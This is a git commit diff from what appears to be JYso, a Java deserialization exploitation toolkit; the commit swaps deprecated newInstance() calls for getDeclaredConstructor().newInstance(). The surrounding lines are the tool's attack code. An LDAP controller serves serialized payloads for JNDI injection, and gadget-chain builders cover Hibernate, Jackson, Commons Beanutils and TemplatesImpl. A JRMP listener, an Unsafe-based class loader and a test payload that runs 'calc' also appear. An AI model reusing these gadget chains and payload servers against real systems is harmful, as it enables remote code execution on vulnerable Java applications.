fix: 修复过时的API使用

src/main/java/com/qi4l/JYso/controllers/SerializedDataController.java

@@ -37,7 +37,7 @@ public class SerializedDataController implements LdapController {
 
         try {
             final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(gadgetType);
-            ObjectPayload<?> payload = payloadClass.newInstance();
+            ObjectPayload<?> payload = payloadClass.getDeclaredConstructor().newInstance();
             Object object = payload.getObject(params);
 
             if (SerializedDataController.gadgetType.equals("JRE8u20")) {
@@ -51,9 +51,9 @@ public class SerializedDataController implements LdapController {
             e.addAttribute("javaSerializedData", bytes);
             result.sendSearchEntry(e);
             result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
-        } catch (Throwable er) {
+        } catch (Exception er) {
             System.err.println("Error while generating or serializing payload");
-            log.error(String.valueOf(er));
+            log.error("Error while generating or serializing payload", er);
         }
     }
 

src/main/java/com/qi4l/JYso/exploit/JRMPListener.java

@@ -95,7 +95,7 @@ public class JRMPListener implements Runnable {
             cp.insertClassPath(new ClassClassPath(Dummy.class));
             CtClass clazz = cp.get(Dummy.class.getName());
             clazz.setName(className);
-            return clazz.toClass(isolation).newInstance();
+            return clazz.toClass(isolation).getDeclaredConstructor().newInstance();
         } catch (Exception e) {
             log.error("e: ", e);
             return new byte[0];

src/main/java/com/qi4l/JYso/gadgets/Hibernate3JDBC.java

@@ -39,7 +39,7 @@ public class Hibernate3JDBC implements ObjectPayload<Object>, DynamicDependencie
 
 
         Class<?> clazz = driverconimpl.toClass();
-        Object o1 = clazz.newInstance();
+        Object o1 = clazz.getDeclaredConstructor().newInstance();
         HashMap<Object, Object> map1 = new HashMap<>();
         map1.put("hibernate.connection.url", command);
         map1.put("hibernate.connection.pool_size", "0");

src/main/java/com/qi4l/JYso/gadgets/Jackson3.java

@@ -39,7 +39,7 @@ public class Jackson3 implements ObjectPayload<Object>  {
 
         Object ctFactory = ctDefaultAdvisorChainFactory.toClass(
                 new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
-        ).newInstance();
+        ).getDeclaredConstructor().newInstance();
         advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) ctFactory);
 
         Constructor<?> constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
@@ -69,7 +69,7 @@ public class Jackson3 implements ObjectPayload<Object>  {
     public static Object makeAopProxy(String singletonTargetSourceClassName, String advisedSupportClassName, String jdkDynamicAopProxy, Class superClass, Object targetObject) throws Exception {
         Object singletonTargetSource = ThirdLibsClassLoader.loadClass_(singletonTargetSourceClassName).getConstructor(Object.class).newInstance(targetObject);
         Class<?> advisedSupportClazz = ThirdLibsClassLoader.loadClass_(advisedSupportClassName);
-        Object advisedSupport = advisedSupportClazz.newInstance();
+        Object advisedSupport = advisedSupportClazz.getDeclaredConstructor().newInstance();
         advisedSupportClazz.getMethod("setTarget", Object.class).invoke(advisedSupport, singletonTargetSource);
         Constructor<?> constructor = ThirdLibsClassLoader.loadClass_(jdkDynamicAopProxy).getConstructor(advisedSupportClazz);
         constructor.setAccessible(true);
@@ -86,7 +86,7 @@ public class Jackson3 implements ObjectPayload<Object>  {
                 "private static final long serialVersionUID = -" + sUID1 + "L;");
         Object list = ctEventListenerList.toClass(
                 new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
-        ).newInstance();
+        ).getDeclaredConstructor().newInstance();
 
         //>=6.1.0 为-1045223116463488483
         //<=6.0.23为-2077529998244066750
@@ -96,7 +96,7 @@ public class Jackson3 implements ObjectPayload<Object>  {
                 "private static final long serialVersionUID = -" + sUID2 + "L;");
         Object undomanager = ctUndoManager.toClass(
                 new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
-        ).newInstance();
+        ).getDeclaredConstructor().newInstance();
 
         //取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象，并把需要触发toString的类add进去。
         Vector vector = (Vector) getFieldValue(undomanager, "edits");

src/main/java/com/qi4l/JYso/gadgets/SignedObject.java

@@ -97,7 +97,7 @@ public class SignedObject implements ObjectPayload<Object> {
         String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
 
         final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
-        ObjectPayload<?> payload = payloadClass.newInstance();
+        ObjectPayload<?> payload = payloadClass.getDeclaredConstructor().newInstance();
         Object object = payload.getObject(realCmd);
 
         if (args.length >= 3) {

src/main/java/com/qi4l/JYso/gadgets/annotation/Dependencies.java

@@ -16,7 +16,7 @@ public @interface Dependencies {
 
     String[] value() default {};
 
-    public static class Utils {
+    class Utils {
 
         public static String[] getDependencies(AnnotatedElement annotated) {
             Dependencies deps = annotated.getAnnotation(Dependencies.class);
@@ -24,7 +24,7 @@ public @interface Dependencies {
                 return deps.value();
             } else {
                 try {
-                    Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString());
+                    Class<?> name = Class.forName(Reflections.getFieldValue(annotated, "name").toString());
                     Method m = name.getDeclaredMethod("getDependencies");
                     m.setAccessible(true);
                     return (String[]) m.invoke(null);

src/main/java/com/qi4l/JYso/gadgets/cb160.java

@@ -28,7 +28,7 @@ public class cb160 implements ObjectPayload<Object> {
 
     public static Object getCbSink_1(CtClass ctClass, Object template) throws Exception {
         Class<?> beanCompareClazz = ctClass.toClass();
-        BeanComparator comparator = (BeanComparator) beanCompareClazz.newInstance();
+        BeanComparator comparator = (BeanComparator) beanCompareClazz.getDeclaredConstructor().newInstance();
         final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
         queue.add("1");
         queue.add("1");

src/main/java/com/qi4l/JYso/gadgets/cb_AttrCompare183.java

@@ -45,7 +45,7 @@ public class cb_AttrCompare183 implements ObjectPayload<Object> {
         ctBeanComparator.addField(CtField.make("private static final long serialVersionUID = -3490850999041592962L;", ctBeanComparator));
         final Comparator beanComparator = (Comparator) ctBeanComparator.toClass(
                 new SuClassLoader(),SuClassLoader.class.getProtectionDomain()
-        ).newInstance();
+        ).getDeclaredConstructor().newInstance();
         ctBeanComparator.defrost();
         return beanComparator;
     }

src/main/java/com/qi4l/JYso/gadgets/utils/TemplatesUtil.java

@@ -41,7 +41,7 @@ public class TemplatesUtil {
 
     public static <T> T createTemplatesImpl(final String[] args, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory)
             throws Exception {
-        final T templates = tplClass.newInstance();
+        final T templates = tplClass.getDeclaredConstructor().newInstance();
 
         // use template gadget class
         ClassPool pool = ClassPool.getDefault();
@@ -81,7 +81,7 @@ public class TemplatesUtil {
 
         // required to make TemplatesImpl happy
         Reflections.setFieldValue(templates, "_name", "Pwnr");
-        Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
+        Reflections.setFieldValue(templates, "_tfactory", transFactory.getDeclaredConstructor().newInstance());
         return templates;
     }
 

src/main/java/com/qi4l/JYso/gadgets/utils/Utils.java

@@ -98,7 +98,7 @@ public class Utils {
         } catch (Exception e) {
             try {
                 base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
+                Object decoder = base64.getDeclaredConstructor().newInstance();
                 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs});
             } catch (Exception ignored) {
             }
@@ -123,7 +123,7 @@ public class Utils {
         Class<?> clazz = (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
 
         try {
-            clazz.newInstance();
+            clazz.getDeclaredConstructor().newInstance();
         } catch (Exception ignored) {
             Class<?> unsafe = Class.forName("sun.misc.Unsafe");
             Field theUnsafeField = unsafe.getDeclaredField("theUnsafe");
@@ -214,7 +214,7 @@ public class Utils {
         } catch (Exception e) {
             try {
                 base64 = Class.forName("sun.misc.BASE64Encoder");
-                Object Encoder = base64.newInstance();
+                Object Encoder = base64.getDeclaredConstructor().newInstance();
                 value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs});
             } catch (Exception ignored) {
             }

src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java

@@ -72,7 +72,7 @@ public class ClassLoaderTemplate {
         } catch (Exception e) {
             try {
                 base64 = Class.forName("sun.misc.BASE64Decoder");
-                Object decoder = base64.newInstance();
+                Object decoder = base64.getDeclaredConstructor().newInstance();
                 value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
             } catch (Exception ignored) {
             }

src/test/java/com/example/demo/demos/web/Test.java

@@ -9,7 +9,7 @@ import java.util.Base64;
 public class Test {
     public static void main(String[] args) throws Exception {
         final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("cck3");
-        ObjectPayload payload = payloadClass.newInstance();
+        ObjectPayload payload = payloadClass.getDeclaredConstructor().newInstance();
         Object object = payload.getObject("calc"); //EX-MS-SpringInterceptorMS-gz
 
         secCig rootObj = new secCig();